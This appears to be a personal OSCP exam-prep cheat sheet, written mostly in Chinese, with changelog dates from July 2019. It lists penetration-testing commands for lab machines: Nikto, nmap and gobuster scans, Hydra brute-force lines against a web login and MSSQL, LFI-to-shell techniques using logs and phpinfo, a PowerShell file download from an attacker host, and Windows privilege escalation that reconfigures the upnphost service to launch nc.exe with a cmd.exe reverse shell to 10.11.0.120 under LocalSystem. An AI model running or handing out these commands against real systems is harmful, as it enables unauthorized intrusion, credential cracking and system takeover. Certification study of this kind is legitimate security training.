- 01_lfi_phpinfo_exp.py 利用 LFI 和 PHPINFO 到 getshell,资料来源
-
Remember turn off the automatic updates
-
Post request not work as excepted
- i686 i386 代表 32 位操作系统
- x86_64 代表 64 位操作系统
-
安装特定依赖库
$ apt-get install build-essential module-assistant gcc-multilib g++-multilib -y
-
编译
$ gcc -m32 exp.c
Nikto 用于发现 Web Server 的默认配置、不安全的配置文件和程序。
# nikto -h x.x.x.x // Default 80
# nikto -h x.x.x.x -p 443,80 // multiple ports
# nikto -h https://url // protocol, host
# nmap -p80 192.168.0.0/24 -oG - | nikto -h - // scan multiple hosts
Hydra 爆破常见的服务
hydra -L user.txt -P pass.txt 10.11.1.31 http-post-form "/login-off.asp:txtLoginID=^USER^&txtPassword=^PASS^&cmdSubmit=Login:F=ACCESS DENIED" -V
hydra -l usernmae -P pass.txt 10.11.1.31 mssql -V # cracked 1433 ports windows
原理:通过在服务器上写下代码,接着通过 LFI 利用该代码
- 通过包含 Web Server 或者 ssh 的日志
- 用户有权限访问日志(大多数场景下是没有权限读取日志的)
- 找到日志所在路径
- apache /var/log/apache2/error.log /var/log/httpd-error.log
- ssh /var/log/auth.log
- 包含 php://filter 或 php://input 来实现
- 通过 phpinfo.php 和 lfi 来实现,推荐资料
tip:
%00
截断仅适用于 php 版本低于5.3shell_exec
本质是 linux 中的 backtick operator ,函数返回执行结果exec
返回执行结果的最后一行
场景如果是 CMS 的话,除了尝试寻找 upload 功能,切记观察其他功能,不要一条路走到底。
-
AccessChk v6.12 用于确认 windows 用户权限
-
Windows-pentest 包含有 xp 版本的 accesschk
-
Windows_Privesec 与 Windows Privilege Escalation Fundamentals 的 Roll up Your Sleeves 比较像
-
OSCP-Windows-privilege-escalation 与 第一篇文章相比,条理更清晰,内容更精简, 建议结合起来使用。
Server Message Block 协议对应的操作系统信息如下
- SMB1 – Windows 2000, XP and Windows 2003
- SMB2 – Windows Vista SP1 and Windows 2008
- SMB2.1 – Windows 7 and Windows 2008 R2
- SMB3 – Windows 8 and Windows 2012.
识别 SMB NetBIOS 服务(通常监听于 139 和 445 端口)
-
nmap -v -p 139,445 -oG smb.txt x.x.x.1-254
-
nbtscan -r x.x.x.0/24
-
enum4linux 该工具集成了 smbclient、rpcclinet、net 和 nmblookup
漏洞识别
root@kali:~# ls -l /usr/share/nmap/scripts/smb*
root@kali:~# nmap -v -p 139,445 --script smb-xxx x.x.x.x # 同时加载多个 NSE 脚本
$ nmap -v -sV -sT --top-ports 10 --open x.x.x.x # 快速扫描 top 10 端口
# gobuster dir -u http://X.X.X.X/ -w /mnt/hgfs/share/OSCP/SecLists/Discovery/Web-Content/common.txt -s '200,204,301,302,307,403,500' -e -t 50
# wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/big.txt --hc 404 http://10.11.1.22/FUZZ
# 无法执行 whoami 以及 echo %username% 的场景
# 解决方案一
echo 1>who.ami
dir /q
# 解决方案二
# 上传 kali 中的 /usr/share/windows-binaries/whoami.exe 到服务器上
C:\RECYCLER
通常是可读写的目录,上传的 exp 建议放在这儿。
Windows 上传方式
- Windows 没有内置的 curl 或 wget ,所以使用 powershell 来替代下载功能
powershell -c (new-object System.Net.WebClient).DownloadFile('http://10.1.0.49:8000/fuck.php','C:\fuck.php')
更多的上传方式请参考 Windows-privilege-Escalation。
touch ./-filename.txt
touch -- -filename.txt
rm ./-filename.txt
rm -- --filename.txt
accesschk (Windows XP) 可用于判断 servcies 的权限,总是先执行 /acceptula
。因为第一次执行该程序会弹窗,所以带入参数来确认弹窗。
# 建议每次从命令行执行accesschk时,都带上/accepteula
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -ucqv SSDPSRV /accepteula
accesschk.exe -ucqv upnphost /accepteula
sc config upnphost binpath= "C:\Inetpub\Scripts\nc.exe -nv 10.11.0.120 2233 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
net start upnphost
C:\"Documents and Settings"\Administrator\Desktop\proof.txt
- 20190714 tips
- 20190713 add
- 20190711 update
- 20190710 init